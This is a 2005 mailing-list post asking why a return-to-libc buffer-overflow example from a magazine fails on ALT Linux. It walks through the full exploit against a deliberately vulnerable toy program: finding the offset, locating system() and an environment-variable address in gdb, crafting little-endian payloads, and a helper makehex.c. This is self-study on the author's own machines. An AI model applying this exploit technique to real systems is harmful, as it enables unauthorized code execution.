From mboxrd@z Thu Jan 1 00:00:00 1970 Return-Path: Message-ID: X-Originating-IP: [64.118.155.218] X-Originating-Email: [wmcdona89@hotmail.com] X-Sender: wmcdona89@hotmail.com From: "Aaron McDonald" To: community-en@altlinux.org Date: Fri, 21 Jan 2005 17:32:42 -0500 Mime-Version: 1.0 Content-Type: text/plain; format=flowed X-OriginalArrivalTime: 21 Jan 2005 22:33:02.0276 (UTC) FILETIME=[2ACDC040:01C50009] Cc: Subject: [Comm-en] System call via buffer overflow not working X-BeenThere: community-en@altlinux.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: community-en@altlinux.org List-Id: "Mailing list for ALT Linux users \(in English only\)" List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 21 Jan 2005 22:33:05 -0000 Archived-At: List-Archive: List-Post: Linux Magazine has a buffer overflow article in the February 2005 issue. I enjoyed the article because I'd never read much about how to compromise a system using a buffer overflow strategy. I attempted to run two of the buffer overflow examples on my ALT Linux Sisyphus (20041129) box but found that the examples didn't work. I tried the examples on my Slackware 9.1 box (2.4 kernel) and everything worked! Now back to my Alt Linux box. After some investigation I determined that my kernel (2.4.26-std-up-alt6) must have a non-executable stack because I was seeing errors in /var/log/messages. This explained why one of the strategies didn't work but I'm still puzzled as to why the second strategy isn't working. This second strategy involves storing a command in an environment variable and then passing this parameter to the system() function via a buffer overflow. In my case, the system() function is being called but it fails to execute the specified command. So, my question is this, has Alt Linux tweaked the system() command to prevent a buffer overflow attack? I attempted to look through the glibc source code (sysdeps/posix/system.c, etc.), but I'm not an expert C programmer and I had trouble reading the code. I've included all the details below if anyone cares to look into this. I'm not dying to know the answer but it'd be cool to know what's going on here. Thanks, Aaron ------------------------------------------------------------------------------------------- Here are the execution details: //vulner1.c - Program with buffer overflow //This function, when called instead of the system() function, seems to properly access the specified command. my_system(char *command) { printf("Command to execute is: %s\n", command); } int main(int argc, char *argv[]) { char buff[512]; if(argc < 2) { printf("Usage: %s \n", argv[0]); exit(0); } strcpy(buff, argv[1]); printf("Your name: %s\n", buff); return 0; } //eggfind.c - get address of environment variable int main(void) { printf("0x%lx\n", getenv("EGG")); return 0; } Step 1 - Compile the above programs: vulner1.c and eggfind.c CAUTION: Use executable names that are all the same length. For example, vulner1 for vulner1.c, eggfind for eggfind.c, and makehex for makehex.c (see below). I think it makes a difference with the stack pointers because the program name is stored on the stack. Step 2 - Determine the overflow point on your system ulimit -c unlimited ./vulner1 $(perl -e 'print "A"x516 . "BBBB"') Keep adding 4 more A's until you receive a core dump. gdb -q -c core "0x42424242" should be printed (if not, add more A's, I needed 524). "0x42424242" is BBBB in hexadecimal and it represents the address of the next instuction to execute (eip register-effective instruction pointer) Step 3 - Determine the address of the system() function so that we can set the eip register with it gdb -q vulner1 break main run print system My result was 0x00169ee0 Step 4 - Set EGG environment variable with a command such as /bin/date export EGG=/bin/date Step 5 - Determine the address of the EGG environment variable ./eggfind My result was 0xbffffb73 Step 6 - Run vulner1 and overflow the buffer so that the system() function will be called with a pointer to the EGG environment variable. Use the same number of A's as in step 2 and the hexadecimal results from steps 3 and 5 in little endian. ./vulner1 $(perl -e 'print "A"x524')$(printf "\xe0\x9e\x16\x00\xAA\xAA\xAA\xAA\x73\xfb\xff\xbf") The result of the above command on my system was setting eip to 0xaa169ee0 which indicated that the "\x00" was somehow being ignored. I resolved the issue by calling printf from within another C program rather than from the command line. ./vulner1 $(./makehex) See makehex.c below. Final Output: Your name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAà sh: line 1: føÿ¿pøÿ¿: command not found Segmentation fault (core dumped) As you can see, the system() function is running and invoking a shell but my command /bin/date is not being executed. --------------------------------------------------------------------------------------------------------------------------- //The address of the system() function on my system was 0x00169ee0. Specifying this as a parameter on the command line didn't seem to be working so I hardcoded it in a C program and then executed: ./vulner1 $(./makehex) //makehex.c main() { char pad[524]; int i; for (i=0; i < 524; i++) pad[i] = 'A'; pad[524]='\0'; printf("%s\xe0\x9e\x16\x00\x00\x00\x00\x00\x78\xfb\xff\xbf", pad); } -------------------------------------------------------------------------------------------------------------------------------------- Call my_system function in vulner1.c rather that system() function to confirm that the pointer being passed to the functions does indeed point to /bin/date Step A1 - Use my_system() function in vulner1.c rather that system() function: Determine the address of the my_system() function so that we can set the eip register with it gdb -q vulner1 break main run print my_system My result was 0x080483ec Step A2 - Run vulner1 and overflow the buffer so that the my_system() function will be called with a pointer to the EGG environment variable. Use the same number of A's as in step 2 and the hexadecimal results from steps A1 and 5 in little endian. ./vulner1 $(perl -e 'print "A"x524')$(printf "\xe0\x9e\x16\x00\xAA\xAA\xAA\xAA\x73\xfb\xff\xbf") or ./vulner1 $(./makehex) //don't forget to update and recompile makehex Output: Your name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAªªªªsûÿ¿ Command to execute is /bin/date Segmentation fault (core dumped) As you can see, the my_system() function was called and the command pointer pointed to /bin/date. ----------------------------------------------------------------------------------------------------------------------------------